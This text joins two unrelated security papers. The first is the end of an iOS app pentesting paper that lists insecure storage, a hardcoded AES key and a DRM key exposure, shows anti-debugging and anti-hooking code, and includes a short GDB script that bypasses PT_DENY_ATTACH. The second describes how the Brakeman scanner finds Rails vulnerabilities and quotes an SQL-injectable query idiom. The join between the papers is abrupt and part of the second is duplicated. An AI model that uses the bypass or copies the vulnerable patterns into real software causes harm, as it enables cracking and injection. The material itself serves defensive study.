they could launch their jailbreak detection tests. Moreover after 
jailbreak the attackers have root access to the device, which 
means to control everything on the device as the opposite of 
iOS application. 
 
Nevertheless, when well implemented, jailbreak detection 
features can discourage most of script kiddies and tutorial 
followers.  
 

IV. REAL WORLD APPS & SECURITY WORST PRACTICES 
This section present the worst practices highlighted during 1-
year pentesting iOS Application used in professional 
environment. 

A. Unsecure password storage 
Some applications are using the NSUserDefaults 
standardUserDefaults method in order to user credentials. The 
problem is that standardUserDefaults stores information in 
plain text in a plist file that can be downloaded trough AFC 
protocol. 
 

 
Figure 13 Default plist file including clear text stored password 

 

B. Authentication Bypass 
Here the password defined by the user is stored on the file 
system in an encrypted database. The problem is that the 
application has to decrypt the database before the user being 
authenticated in order to check the password validity. Since the 
database is decrypted before the user was authenticated it is 
possible for an attacker, having an access to an unlocked 
jailbroken device to retrieve the password in the memory. 
 

C. Unsecure data storage 
This example was highlighted during the analysis of a sandbox 
like application. According to the documentation the 
application is using "high grade encryption” to secure the 
document. 
  
iExplorer is an iPhone browser or iPad file explorer that runs 
on Mac & PC. iExplorer lets users browse the files and folders 
on their iDevice as if it were a normal USB flash drive or pen 
drive (this application does not require any jailbreak). Using 
this tool it is possible to download all the application resources 
and data. The analysis of the data highlights the lack of 
encryption.  
 
In this case, when the vendor says "high grade encryption” you 
must read: All data are stored on the iPhone encrypted file 
system that provides high-grade encryption. 
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D. Extraction data from log  
This application embeds a secure web browser, according to 
the best practices; redirect all the network traffic through an 
SSL Tunnel (even HTTP traffic is redirected trough this 
tunnel). However, all the cookies used during the user 
navigation are exported in the application logs. Application 
logs are available to any applications installed on the device. A 
malicious application could use these cookies in order to 
impersonate user sessions and access/steal confidential data. 
 

E. Hardcoded encryption key – Common! 
This application is secure media player allowing to play / view 
protected content. Here is the pseudo code of the images 
decryption routine. 
 

Base64Key = (int)objc_msgSend( 
                   *classRef_NSString_Ptr,                                
                   *selRef_stringWithFormat_Ptr,                                                             
                    CFSTR("HiddenTreasures")); 
                    NSData = &classRef_NSData; 
 
Key = objc_msgSend(&OBJC_CLASS___NSData,  
                   "dataFromBase64String:",  
                    Base64Key); 
        
BundlePath = objc_msgSend(&OBJC_CLASS__NSBundle,   
                   "mainBundle");  
 
cpngPath = (int)objc_msgSend(BundlePath,                         
                    "pathForResource:ofType:" 
                    filename,                                                    
                    CFSTR("cpng"),                                                   
                    1063452672);  
Data = *NSData; 
cpngFileContent = (int)objc_msgSend(Data, 
                    dataWithContentsOfFile:",  
                    cpngPath);  
       
decyptedContent = (int)objc_msgSend( 
                   &OBJC_CLASS___FBEncryptorAES,                                             
                   "decryptData:key:iv:",       
                    cpngFileContent,                                                       
                    Key,                                                                                          
                    0); 

Figure 14 Image decryption function pseudo code 

Here the Key/Password: “Hiddentreasures” is Base64 decoded 
before being used as a key for the AES decryption algorithm. 
Moreover the IV used by the AES crypto function is fixed to 
“0”. With this information an attacker can easily be re-
implement the algorithm and decrypt the data. 
 

F. Playing DRM video with MPMoviePlayerControler 
This application was using the apple 
“MPMoviePlayerControler” API to play encrypted content 
stored on the device. In other words the application was localy 
streaming the files. 
 
The “MPMoviePlayerControler” is a part of Apple API’s. 
Apple developer’s documentation says: 

-‐ A movie player (of type MPMoviePlayerController) 
manages the playback of a movie from a file or a 
network stream.  

-‐ When encryption is employed, references to the 
corresponding key files appear in the index file so that 
the client can retrieve the keys for decryption.  

-‐ When a key file is listed in the index file, the key file 
contains a cipher key that must be used to decrypt 
subsequent media files listed in the index file.  

-‐ Currently HTTP Live Streaming supports AES-128 
encryption using 16-bytes keys. The format of the key 
file is a packed array of these 16 bytes in binary 
format”. 
 

All an attacker needs to play the video on another device is the 
index file; the key and the encrypted video, which in this case 
are stored in, clear text on the file system and can be retrieved 
through AFC protocols. 
 

#EXTM3U 
#EXT-X-TARGETDURATION:63 
#EXT-X-VERSION:2 
#EXT-X-MEDIA-SEQUENCE:0 
#EXTINF:63,  
#EXT-X-KEY:METHOD=AES-
128,URI="http://localhost:12345/crypt5.key",IV=0cd463
4ed46bbc1e8235e21b23dc6792e3 
 
http://localhost:12345/fileSequence5.ts 
 
#EXT-X-ENDLIST 

Figure 15 MPMoviePlayerControler index file 

This allows an attacker to develop its own movie player to 
read the videos files extracted/dumped from the Ipad. 
 

V. DEFENDING IOS APPLICATION 
 

In matter of security the iOS system is not perfect. Even if 
Apple increases the security level of its mobile operating 
system, for each new release comes a new jailbreak. 
Jailbreaking is a process that allows users to gain the root 
access to the command line, decrypt, analyze and crack iOS 
application.  
 
In this section we will present some defensives tricks, which 
can be use to the aim to slow down skilful attackers, 
discourage script kiddies and defeat automatic tools. 
 

A. Anti-analysis part 1  
It is possible to add an anti-debugging feature by sending a 
non-standard ptrace value named PT_DENY_ATTACH. 
Setting this value allows a process that is not currently being 
traced to deny future traces by its parent. All others arguments 
are ignored. An attempt by the parent to trace a process, which 
has set this flag, will result in a segmentation violation in the 
parent. 
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#import <dlfcn.h> 
#import <sys/types.h> 
#define PT_DENY_ATTACH 31 
 
typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, 
caddr_t _addr, int _data); 
 
void disable_gdb() { 
  void* handle = dlopen(0, RTLD_GLOBAL | RTLD_NOW); 
  ptrace_ptr_t ptrace_ptr = dlsym(handle, "ptrace"); 
  ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0); 
  dlclose(handle); 
} 

Figure 16 Disabling GDB with PTRACE_DENY_ATTACH 

It is useful for defeating most tutorial-followers but this is no 
guarantee that your application cannot be debugged, and in 
fact there are ways around this. An attacker, can set a 
breakpoint within the application prior to issuing a run from 
within a debugger, and specify that the debugger run any 
commands he wants when ptrace starts and before the 
application can shut down.  
 
Here is an example of a GDB script to bypass 
PT_DENY_ATTACH system call: 
 

break ptrace 
commands 1 
   return 
   continue 
end 

Figure 17 Bypassing PTRACE_DENY_ATTACH 

It is useful for defeating most tutorial-followers but this is no 
guarantee that your application cannot be debugged, and in 
fact there are ways around this.  

Nevertheless, since the ptrace function is built inside the 
kernel, the user space interface only performs syscall 26 
(ptrace). If the anti-debugging function is inlined like the 
example bellow the PT_DENY_ATTACH will be installed 
and there is no way . 

mov r0, #31  
mov r1, #0  
mov r2, #0  
mov r3, #0  
mov ip, #26  
svc #0x80 

Figure 18 Inline vesion of the PTRACE_DENY_ATTACH test 

Anyway a dedicated and skillful attacker can patch the 
kernel/application.    

B. Anti-analysis 2  
When an application is being debugged, the kernel sets the 
P_TRACED  flag for the process signifying that the process is 
being traced. Applications can monitor the state of this flag. If 

this flag is set, the application knows that it was either started 
with a debugger, or a debugger was later attached to it.  

When the application detect it is being debugged, the program 
should silently wipe all confidential data and encryption keys 
and then inform the user. 

#include <unistd.h> 
#include <sys/types.h> 
#include <sys/sysctl.h> 
#include <string.h> 
#define P_TRACED 0x00000800 
 
static int checkGDB() __attribute__((always_inline)); 
 
int checkGDB() 
{ 
  size_t size = sizeof(struct kinfo_proc); 
  struct kinfo_proc info; 
  memset(&info, 0, sizeof(struct kinfo_proc)); 
     
  int ret, name[4]; 
  name[0] = CTL_KERN; 
  name[1] = KERN_PROC; 
  name[2] = KERN_PROC_PID; 
  name[3] = getpid(); 
     
  if (ret = (sysctl(name, 4, &info, &size, NULL, 0)))       
        return ret;  
  return (info.kp_proc.p_flag & P_TRACED) ? 1 : 0; 
} 

Figure 19 Checking the P_TRACED  flag 

This technique will only allow the application to detect when 
gdb, or another debugger, is attached to the process, but will 
not detect when malicious code is injected, or when other 
tools that do not trace are attached to the process. 
Implementing this in your code will only force an attacker to 
either avoid using a debugger (which will further complicate 
things for him), or to locate and patch the debugging checks. 
Moreover a skillful attacker could also patch out the 
invocation of sysctl itself.  This is why simple’s sanity checks 
should be done to ensure that sysctl can return other data, and 
to ensure that the call does not fail. This will help further 
complicate the attack and require the attacker to properly 
populate the kinfo_proc structure with valid information. 

C. Preventing Hooking 
Hooking allowing attackers to alter or augment the behaviour 
of applications. By implementing the following defensives 
measures allowing ensuring that called function are the ones 
implemented in the application. 

1) Validating Address Space 
Any time malicious code is injected into an application, it 
is loaded into the application address space. Validating 
the address space for critical methods used by the 
application force the attacker to find ways to inject his 
code into the existing address space.  
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The dynamic linker library includes a function named 
dladdr. The function dladdr() takes a function pointer and 
tries to resolve name and file where it is located. 
Information is stored in the Dl_info structure.  

typedef struct { 
  const char *dli_fname;  /* Pathname of shared 
                             object that  
                             contains address */ 
  void *dli_fbase;   /* Shared object Address */ 
  const char *dli_sname; /* Name of nearest   
                            symbol with address  
                            lower than addr */ 
  void *dli_saddr;       /* Exact address of  
                            symbol named in  
                            dli_sname */ 
} Dl_info; 

Figure 20 Dl_info structure 

By providing the structure with the function pointer of a 
class’s method implementation, its origins can be 
verified. 

#include <dlfcn.h> 
#include <objc/objc.h> 
#include <objc/runtime.h> 
#include <stdio.h> 
#include <string.h> 
 
static int checkAddressSpace 
__attribute__((always_inline)); 
 
int checkAddressSpace(NString MyCriticalClass ,  
          NSString MyCriticalMethod){ 
  Dl_info info; 
  IMP imp = class_getMethodImplementation( 
            objc_getClass(MyCriticalClass),                                    
            sel_registerName(MyCriticalMethod)); 
   
if (dladdr(imp, &info)){ 
      /* Do some additional tests:  
         Pathname of shared object … */  
      return 1; 
  } else { 
      NSLog("Error: cannot find %@ symbol",  
             MyCriticalMethod);   
      return 0; 
  } 
} 

Figure 21 Checking address space 

2) Inlining 
iOS offers a way to override functions in a shared library 
with DYLD_INSERT_LIBRARIES environment 
variable (which is similar to LD_PRELOAD on Linux). 
On a jailbroken device the MobileSubstrate framework 
simplify this task and allows developers to easily load 
libraries at application launch.  
 
Inline functions are functions in which the compiler 
expands a function body to be inserted within the code 
every time it is called. In other words, there is no longer 
a function: the code gets pasted into the machine code 
whenever it is called. Turning the critical functions into 
inline ones will cause it to be repeated throughout the 

application every time it is called. This rise up attacks 
complexity by forcing an attacker to hunt down every 
occurrence of code and patch it.  
 
To be inlined a function must be declared within the 
attribute __attribute__((always_inline)); 
 

static int isPasswordValid(char * pwd) 
__attribute__((always_inline)); 
int isPasswordValid(char * pwd) { 
    //Function body 
} 

Figure 22 Defining inline attribute 

In addition of this attribute the following two 
compilations flags should be enabled: 

-finline-functions  
-Winline 
 

D. Others binary protection 
iOS Applications are not exempt of overflow vulnerabilities 
this is why the following mitigating technics should be 
implemented in every application. 

1) Stack smashing protection  
It is possible to activate stack-mashing protection at 
compilation time. This can be achieved by specifying the 
–fstack-protector-all compiler flag.  
When an application is compiled with this protection, a 
known value called “canary” is placed on the stack 
before the local variables to protect the saved base 
pointer, saved instruction pointer and function 
arguments. The value of the canary is verified upon the 
function return to see if it has been overwritten.  
 
One can identify the presence of stack canaries 
examining the symbol table of the binary, if stack-
smashing protection is compiled in to the application, 
two undefined symbols will be present:  

-‐ ___stack_chk_fail 
-‐ ___stack_chk_guard  

 

2) Automatic Reference Counting 
Automatic Reference Counting (ARC) was introduced in 
iOS SDK version 5.0 to move the responsibility of 
memory management from the developer to the 
compiler. Consequently, ARC also offers some security 
benefits as it reduces the likelihood of developers 
introducing memory corruption (specifically object use -
after-free and double free) vulnerabilities in to 
applications. ARC can be enabled in an application 
within XCode by setting the compiler option “Objective-
C Automatic Reference Counting” to “yes”. This option 
is automatically check statring XCode 4.3. 
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3) Binary obfuscation 
Main purpose of code obfuscation and other protections 
applied to source code or resulting binaries is to prevent 
reverse engineering and cracking. Unfortunately, there 
are no popular, well-known tools for Objective C code 
obfuscation. Objective C is a dynamic language, based 
on message passing paradigm, where most of bindings 
are resolved run time. Therefore it is always possible for 
attacker to track, intercept and reroute calls, even with 
obfuscated names.  
 
Nevertheless, adding some obfuscation to the binaries 
will slow down the analysis. Since no open source tool 
exists to perform this task automatically the developer 
has to implement the obfuscation himself.  
Symbol stripping and dynamic string generation should 
be implemented. Especially if the application is checking 
for Jailbreak files and if it informs the user they're using 
a cracked version. Actually, when strings are stored in 
plain text, the crackers can quickly track down where the 
view is generated with strings and disable the check.  
 
For example the dynamic strings generation can easily 
being implemented by using a crypto algorithm. In this 
case strings are decrypted on the fly just before being 
used and cleared from memory after use. In addition of 
these basic tricks it may be interesting to rename classes 
and methods with random names. 
Using basic blocks cloning technics and inserting opaque 
predicate will also increase the binary obfuscation level. 
Basic blocs’ cloning allows spreading the execution 
across the cloned basic blocks.  
Inserting opaque predicate add extra tests which cannot 
be easily proved to conditionals. 
 
The obfuscation should be performed semi-automatic, 
over source code copy, with tool custom developed for 
such task. Obfuscated code is by definition hard to read 
before compilation as same as after decompiling from 
binaries.  
 
Anyway, it important to keep in mind that obfuscation 
wills only slowdown attackers performing static analysis 
only. It is only a matter of time before an attacker mixing 
static and dynamic analysis will be able to reverse your 
application. 
 

E. Security of running memory 
The following guidelines can help to improve the security of 
running memory: 

-‐ Never store anything in memory until the user has 
authenticated and data has been decrypted. It should 
not even be possible to store passwords, credentials, or 
other information in memory before a user has entered 
their passphrase; if it is, the application is not properly 
implementing encryption. 

-‐ Do not store encryption keys or other critical data 
inside Objective-C instance variables, as they can be 
easily referenced. Instead, manually allocate memory 
for these. This will not stop an attacker from hooking 
into your application with a debugger, but will up the 
ante for an attacker. Typically, if a device is 
compromised while the user is using it, the attack is 
automated malware rather than an active human. 

VI. CONCLUSION 
 

Regarding security most of iOS applications are not 
mature!  
 
Developers should apply the following recommendation 
in order to mitigate the risks. 

-‐ Do not relay only on iOS security, 
-‐ Do not store credential using 

standardUserDefaults method. 
-‐ Encrypt your data even when stored in the 

keychain, 
-‐ Do not store crypto keys on the device, 
-‐ Check your code, classes, functions, methods 

integrity, 
-‐ Detect the jailbreak, 
-‐ Properly implement cryptography in 

applications (simple implementation are the 
most secure), 

-‐ Remove all debug information from the final 
release, 

-‐ Minimize use of Objective-C for critical 
functions & security features. 

 
Users and companies should not blindly thrust iOS 
application vendors when talking about security. 
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3.2.3 Leveraging Convention over Configuration for Static Analysis in Dynamic Languages

Static analysis in dynamic languages is a well known difficult problem in computer science, with a great
deal of emphasis being put on type inference. The problem is so difficult that Holkner and Harlandís paper
on static analysis in Python opens immediately with, ìThe Python programming language is typical among
dynamic languages in that programs written in it are not susceptible to static analysis.î Dynamic languages
such as Ruby provide impressive programming power thanks to expressive language constructs and flexible
typing. Ruby, in particular, is strongly leveraged in the web development ecosystems thanks to well known
and supported frameworks such as Ruby on Rails and Sinatra. Web application security is a particularly dif-
ficult area for a number of reasons including, the low-barrier to entry for new developers combined with the
high-demand for their services, the increasing complexity of the web-based ecosystem, and the traditional
languages and frameworks for web-development not adopting a strong defensive stance as their default. Ruby
on Rails adopts the ìconvention over configurationî policy aimed at aiding developers of all levels in build-
ing robust web applications with a minimum of configuration. The goal is for the framework to simply ìdo
the right thingî by default, and more sophisticated features and technologies are to be explicitly applied by
develop- ers with those more advanced requirements and understanding. Much of the power in the Ruby on
Rails framework stems from careful use of ìmagicî functions: dynamically generated functions using Rubyís
powerful metaprogramming structures. As a side effect, many of the methods called by developers are not
available to a static analysis tool by simply examining the code on disk. We are able to leverage the consis-
tency of the language and framework to perform static analysis on Ruby on Rails applications, and reason
about their attack surface. This is done by analyzing the abstract syntax tree, and sometimes the configura-
tion (generally simply library versions) of the program itself and by comparing it to a pre-compiled library
of known security issues exposed by the Ruby on Rails framework.
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Abstract—Static analysis in dynamic languages is a well known
difficult problem in computer science, with a great deal of
emphasis being put on type inference [1]. The problem is so
difficult that Holkner and Harland’s paper on static analysis
in Python opens immediately with, “The Python programming
language is typical among dynamic languages in that programs
written in it are not susceptible to static analysis.” [2] Dynamic
languages such as Ruby provide impressive programming power
thanks to expressive language constructs and flexible typing.
Ruby, in particular, is strongly leveraged in the web development
ecosystems thanks to well known and supported frameworks such
as Ruby on Rails and Sinatra.

Web application security is a particularly difficult area for a
number of reasons including, the low-barrier to entry for new
developers combined with the high-demand for their services,
the increasing complexity of the web-based ecosystem, and the
traditional languages and frameworks for web-development not
adopting a strong defensive stance as their default. Ruby on Rails
adopts the “convention over configuration” policy aimed at aiding
developers of all levels in building robust web applications with
a minimum of configuration. The goal is for the framework to
simply “do the right thing” by default, and more sophisticated
features and technologies are to be explicitly applied by develop-
ers with those more advanced requirements and understanding.
Much of the power in the Ruby on Rails framework stems
from careful use of “magic” methods: dynamically generated
methods using Ruby’s powerful metaprogramming structures.
As a side effect, many of the methods called by developers are
not available to a static analysis tool by simply examining the
code on disk. We are able to leverage the consistency of the
language and framework to perform static analysis on Ruby on
Rails applications, and reason about their attack surface. This is
done by analyzing the abstract syntax tree, and sometimes the
configuration (generally simply library versions) of the program
itself and by comparing it to a pre-compiled library of known
security issues exposed by the Ruby on Rails framework.

I. INTRODUCTION

Ruby on Rails is a popular web framework which provides a
Model-View-Controller architecture along with many ancillary
tools to engineer complicated web applications with a mini-
mum of code as well as a minimum of exposed complexity.
The fundamental principal employed to reduce complexity is
“convention over configuration”, meaning that standardized
methods are used to achieve standard functionality. In many
ways this philosophy resembles that of the Python community
and its “There’s only one way to do it” philosophy. The

advantage to such a philosophy is that one can successfully
rely on the conventions to expose large families of security
vulnerabilities present in modern web applications. The Ruby
on Rails Security Guide [5] lists a comprehensive collection of
general web application security vulnerabilities, and a number
of Rails-specific vulnerabilities, and their mitigations as pro-
vided for by the framework. Justin Collins, the original author
of the Brakeman Scanner for Ruby on Rails applications,
exploited exactly this convention-based approach, and these
Rails-specific issues, in designing the scanner.

II. BRAKEMAN SCANNER ARCHITECTURE

At a high level Brakeman treats Ruby as an “acceptable
Lisp” and uses existing parsers to decompose the code into
“symbolic expressions” (s-expressions) [7]. Each s-expression
can then be interrogated for its type, for example, a method
definition, a collection of arguments, a Ruby block, a method
call, or a string interpolation. These basic building blocks
forming an abstract syntax tree are the fundamental objects
used by Brakeman, along with its knowledge of Rails conven-
tions, to analyze a given Rails application for potential security
vulnerabilities.

Moreover, some basic “taint flow analysis” can be per-
formed based on the conventions within Rails. The means
by which user-input enters the system is fairly consistent,
with three of the major sources being the cookie collection,
a parameters hash available in, and used as the main source
of input to, controller actions, and the request object which
wraps up the context of a given request to the application. Due
to the consistency of the sources, we may reason concisely
about the danger presented by relying upon input from those
sources directly in contexts which have any potential security
implications.

A. Static Analysis of Ruby

The fundamental idea behind Brakeman is that Rails is a
framework, or a domain-specific language (DSL), for web
development. As such, tokens within Ruby and Rails which
appear to be analogous to “keywords” of other languages are
actually method calls in Ruby. Rails is often attributed with
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“magic” functionality, which to an experienced Rails developer
is a side effect of a well thought-out, non-intrusive, DSL.

To convert a Ruby program, or Rails application, into s-
expressions for analysis we use the combination of Racc [12]
and RubyParser [13]. Racc is a parser generator, analogous
to Yacc [15], for converting grammars into parsers for the
grammar definition. RubyParser provides two grammars, one
each for the unique syntactical structures of Ruby 1.8 and 1.9.
RubyParser then relies on the parsers generated by Racc to
generate s-expressions upon which we can operate. The node-
types in the s-expressions produced by RubyParser are the
node types as defined by Ruby [16] in its virtual machine.

It is interesting to note that the Ruby Parser and any
given Ruby implementation may actually differ in their in-
terpretation or parsing of a given program, as could any
two interpreter or virtual machine implementations. The Ruby
ecosystem is fairly unique in that the definitive reference for
correctness of Ruby is Matz’s Ruby Implementation (MRI),
as the implementation moves very quickly and the definitive
RubySpec has not been fully translated from Japanese (though
the RubySpec project has attempted to correct this). An
advantage of RubyParser being implemented independently
from any given implementation is that it is not susceptible
to any implementation bugs of a given implementation; by the
same token, it may implement its own.

SexpProcessor [14] provides a very flexible, convention-
based s-expression processing framework. An s-expression
processor inherits from the SexpProcessor class and sim-
ply defines methods of the form process 〈 ruby node type〉
and rewrite 〈 ruby node type〉. A given instance of a
SexpProcessor will pass any node of a given type to its
rewriter or processor method if defined. The default method is
simply called process, and does not necessarily need to be
overridden, though it may be. It dispatches sub-expressions of
a given type to the appropriate rewriter or processor.

Brakeman extends SexpProcessor’s base class to capture
important, and potentially vulnerable, points of execution
context. It does this in two phases: a pre-processing collection
phase, during which potentially vulnerable s-expressions are
collected based on the type of vulnerability being checked
for, and an analysis phase during which the pre-stored s-
expressions are analyzed for actual vulnerabilities, and if one
is found, it is rated in its exploitability (confidence).

For example, in pre-processing templates, for Cross-Site
Scripting (XSS) it examines local variable assignments, and
any point where there is an output from a Ruby expression. It is
able to collect those expressions via a call to process output,
and store them for analysis. Later, in the analysis phase, we
retrieve the output points and check them for user-controlled
data. We store the vulnerable expressions in a “Match” struc-
ture which contains both the type of user-controlled data along
with the s-expression which represents the vulnerable code.

Finally, these matches can be analyzed individually for the
actual vulnerabilities, and classified appropriately in prepa-
ration for the reporting phase. This analysis phase requires
walking the vulnerable s-expressions and interrogating them

for use of particular variables, or copies of particular variables.
For example, the data structure which carries the context of a
given HTTP request in Rails is the params hash. If values
from this hash are output directly, and without validation, the
program is vulnerable to a cross-site scripting vulnerability,
which is recorded and reported. This is an example of the
power of convention within a web framework such as Rails. If
there were no convention, but rather programmer-defined nam-
ing schemes for request parameters, a great deal more work
would be required in terms of data-flow analysis and taint-
checking to determine if a program is susceptible to cross-site
scripting. By relying upon best practices and convention we
can more easily reason about the safety, or lack thereof, of
various expressions.

B. The General Case

Given a language with a well-defined grammar and a parser,
we can construct an abstract syntax tree (AST) for a program
written in that language. Examining that AST allows one to
reason about the behavior of the given program. The strength
of Brakeman comes less from the nature of Ruby and its
abstract syntax tree, or its representation as s-expressions, but
rather from leveraging Rails’ use of convention over config-
uration. One such convention, mentioned above, is that all
HTTP request parameters are exposed in a consistently named
variable, params, within any controller action handling the
request. In this case, there is nothing unique about Ruby or
Rails in our ability to reason about the contents of params,
but rather that such a standarized naming scheme reduces the
complexity of detecting vulnerable programs. It is possible
that a given developer will decide to create such complex
code that Brakeman, or another similar tool, will not be able
to successfully reason about security vulnerabilities with the
program or application. This is not the use-case Brakeman, or
most other static analysis tools, are designed for. It is a rare
case that an attacker has the source code to a given vulnerable
web application to run these tools against. Instead such tools
are generally aimed at the developers themselves in an attempt
to aid them in writing better and more secure applications.

It is worth considering other convention over configuration-
based web application frameworks written in other languages,
to see how Brakeman’s techniques might apply.

The Python language includes in its Standard Library the
necessary tools for parsing Python and interrogating its ab-
stract syntax tree via the “Python Language Services” [18]
tools. The Grok [17] project touts itself as a convention
over configuration web framework with much of the same
functionality as Rails, implemented in Python. With this pair
of powerful tools, similar static analysis to that performed
by Brakeman should be possible in Python and Grok. In
examining the constructs provided by Grok there are some
fundamental differences which make such analysis more dif-
ficult than in the Ruby and Rails case. For example, HTTP
request parameters are named by the developer rather than
by the framework; thus, detecting XSS, for example, does
require some variety of data-flow analysis and taint-checking
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of the underlying framework rather than the application code
alone. This is not a shortcoming of Grok as a web framework,
but rather a failing of its convention-based design. Such a
framework could be transformed to a more convention-based
design to enhance its ability to be automatically analyzed and
reasoned about.

In contrast, the Groovy [19] programming language is a
dynamic language built on the Java Virtual Machine, de-
signed with the explicit goals of implementing Ruby style
DSLs and using other dynamic language techniques with
the advantages of static types and compilation. The Grails
[20] web framework is a convention over configuration-based
web framework meant to very closely resemble the Rails
framework. Its resemblance to Rails is so strong in fact that
many of the language constructs appear to be copied directly
from Rails into Groovy with the most minimal syntax changes
possible. As such, HTTP request parameters are passed to
controller actions as params, and thus their use can be
reasoned about in a similar fashion as we do in Brakeman
for Rails applications. The CodeNarc [21] project provides
some static analysis tools for Groovy, though it is aimed at
best practices and other Groovy specific issues. It would be
an interesting exercise for the Groovy/Grails community to
port some of the functionality from Brakeman to CodeNarc in
an effort to enhance the security of Grails applications.

While the above comparisons focus on a single, fairly trivial
use of convention over configuration, specifically the use of a
single name for the HTTP parameters passed to a given con-
troller action, it is illustrative. If all system inputs are provided
in easily recognized and automatically constructed fashions,
then the onus of identification of potentially dangerous data
within an application is taken from the developer or their tools.
The focus of tools can then be placed on other functionality,
such as detecting dangerous uses of said data.

III. INSECURE USER INPUT

The standard adage of “never trust user(-controlled) input”
is easily proffered but one of the fundamental realities of
developing applications is that we must act upon their data
in some way. As such, it is key to limit the ways in which
we trust user-controlled data rather than simply attempting to
avoid the problem.

SQL Injection (SQLi), along with cross-site scripting and
cross-site request forgery (CSRF), represent the most well-
known, common, and language-independent web vulnerability
classes. Ruby on Rails, like any other web framework, can be
susceptible to such flaws, though it does provide a number of
mitigations and best practices to prevent them.

A. SQLi Detection

Many of the methods which automatically generate SQL
are not explicitly defined by either Ruby on Rails itself
or by the user, but rather are automatically generated at
runtime by Rails. The generation of these methods is
based on interrogation of the database which backs a given
model wherein each column in the database is mapped

to an attribute of the model via the Object Relational
Model (ORM). Thus for a given user model with two
database columns “name” and “email”, the User class
itself responds to a variety of methods, some explicitly
defined such as User.all, which returns all users in the
system, and dynamic methods based on its attributes such
as User.find_by_name, User.find_by_email,
User.find_by_name_and_email, and even
User.find_all_by_name_and_email. While using
these finders generates appropriate SQL automatically, and
the parameters themselves are correctly isolated, this is a
perfect example of Rails conventions that are so consistent
they can be trivially identified in a static analysis context.

A naive approach one might take is to identify these finders
is with a simple regular expression. Brakeman opts to use the
abstract syntax tree from a Ruby parser as it provides a deeper
view into the application, but the above would work quickly
for a given model. This consistent, convention-based, dynamic
method generation is easily and deterministically identified
allowing for further reasoning about the functionality of the
code.

Compounding slightly the complexity of isolating
SQLi is that the parameters to various finders may
very well contain user-controlled data, in this case
passed in via a parameters hash(-table). Thus a simple,
incorrect and explicitly recommended against [5], idiom
for dynamically finding a user by name would be
User.where(‘‘name = #{params[user_name]}’’).
During the process of analysis we are able to reason simply
about the potential safety of such an expression. The call
signature of the where method on an active record model
only has a few different permutations. In the case where
the first variable is a string it is to be interpreted as “raw”
SQL. By examining the s-expression of the first parameter
we can quickly determine if any (potentially user-controller)
variable is interpolated, and if so it is flagged as potentially
dangerous. In the case where the user cannot control the data
the flagged expression may not be exploitable but is still
an indication of an expression that should be refactored to
follow the best-practice of passing parameters to the ORM
outside of the query logic [6].

If a programmer attempts a “clever” independent re-
implementation of such dynamic finders as described above, it
is fundamentally more difficult to reason about the safety of a
given expression. This is because there are no well understood
and accepted conventions about call signatures and handling
as have been created during the development of the Ruby on
Rails framework. Those conventions alone allow us to reason
concretely about the safety of a given expression.

B. Cross-Site Scripting

Within a given Rails application there are two sources of
potential Cross-Site Scripting vulnerabilities: Rails itself and a
developer’s code. Brakeman is Rails-version aware, and adds
checks for vulnerabilities within the Rails framework as they
are made public. When such vulnerabilities are created with a
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CVE, as they generally are, the warnings produced reference
the given CVE and the minimum version to which a developer
must upgrade in order to no longer be vulnerable to the given
bug.

The second phase of detecting XSS, briefly outlined above,
involves parsing the HTML templates for the application and
examining them for outputs of user-controlled data. Each
templating language may have its own mechanism for denoting
outputs, but two of the most common, Erb and Haml, denote
output as following a single = token. By identifying all of the
points where output is produced from a Ruby expression, we
can focus on identifying potentially dangerous inputs. This is
the pre-processing phase discussed in general above. Each new
templating language introduced to the Rails ecosystem must
have a custom parser implemented to support such scanning
since their semantics may vary radically.

The bulk of the work in the analysis stage is per-
formed by the has_immediate_user_input? and
has_immediate_model? predicates, which are called on
all unescaped output nodes detected by the scanner. The first
of these predicates recursively walks the entire expressions
looking for access to the params, cookies, or request
hashes, as well as string interpolations and other potential
sources of user-controlled data. Upon finding them, a Match
structure is returned containing the type of dangerous access
and the vulnerable expression. The second predicate simply
looks for calls directly on a model class. For example, if
Model.find_by_dangerous_attribute is called di-
rectly with user-controlled input, then a user may circumvent
security mechanisms or cause the system to leak secure data.
This may cause an XSS vulnerability if the returned data can
be forced by the user to refer to a given model stored in
the database which they control. For example, if the user is
able to store dangerous Javascript in their profile in a social-
networking site, then with a carefully crafted URL they might
force another user to view their profile which executes that
Javascript. Brakeman assumes that all model parameters are
tainted by default and checks their use in outputs.

Note that in the case of Rails 3.x, output in views is
automatically escaped so the checks become relatively trivial
as the built-in escaping method is called automatically. With
that in mind, there have been XSS vulnerabilities within Rails
itself, and the new mitigations should not be viewed as a claim
that Rails is somehow immune to this classic vulnerability.

C. Insecure Redirect and Rendering

A common idiom for concluding a controller action in a
Ruby on Rails application is to set some sort of notification
to be displayed to the user, then a destination is specified.
The destination to which the user is redirected is specified by
an options hash, and must not be user-controlled. If the user
does control the parameters to the redirect call then they may
manipulate the host attribute, which can be used to send a
user, after completing the initial action, to a remote malicious
host [8]. The user will likely trust a given link to a trusted
site without realizing the host manipulation is occurring.

To increase the confidence of the victim, the attacker may
obfuscate the vulnerability by making the site to which they
redirect them look identical to the trusted site if they control
the destination. Identification of such manipulation at runtime
is simply done by identifying any variable parameters to the
redirect. In that case the redirect is flagged as vulnerable.
The Rails framework provides mitigations for such redirection
via the only_path option, which strips all protocol, host,
and port information from the emitted URL, leaving only
the resource path behind. This mitigation can be easily and
quickly be applied by a developer upon being alerted to the
vulnerability.

Similarly, allowing a user to control the view or template to
be rendered in a given action may result in an information leak
about the system by effectively bypassing any authorization
controls in place. Rendering within Rails is done via the
render [10] method, which expects to receive the name of
a partial as a string and an options hash. The path to the
rendered view template should never contain user-controlled
parameters to avoid this vulnerability. Validating that it does
not simply means checking for string interpolation in the first
parameter, and checking for its source. If the source is the
cookie collection, the parameters hash as created by Rails, or
the request object then the source is deemed to be tainted
and is flagged. Much like the taint-safety of Perl, once a
variable from one of those sources has been manipulated by
the developer it is deemed untainted and can no longer be
reasoned about.

IV. EXPLICIT ACCESS CONTROLS VIA EXPOSED APIS
AND DSLS

Much of the Rails architecture revolves around explicit
APIs, exposed to the user to perform various actions, along
with domain-specific languages. Domain-specific languages
(DSLs) are Ruby code which exploit the syntactic flexibility of
Ruby itself to resemble a unique language intended to express
programmatic needs of the developer.

A. Mass Assignment

After the well-publicized compromise of GitHub by Egor
Homakov [9], the subject of Mass Assignment vulnerabil-
ities within the Rails framework came, once again, to the
fore. This vulnerability had been well understood within the
community, and as such standardized mitigations had been
created and well documented. The mitigations themselves
were active mitigations requiring understanding of the do-
main models to implement. The goal was to make such
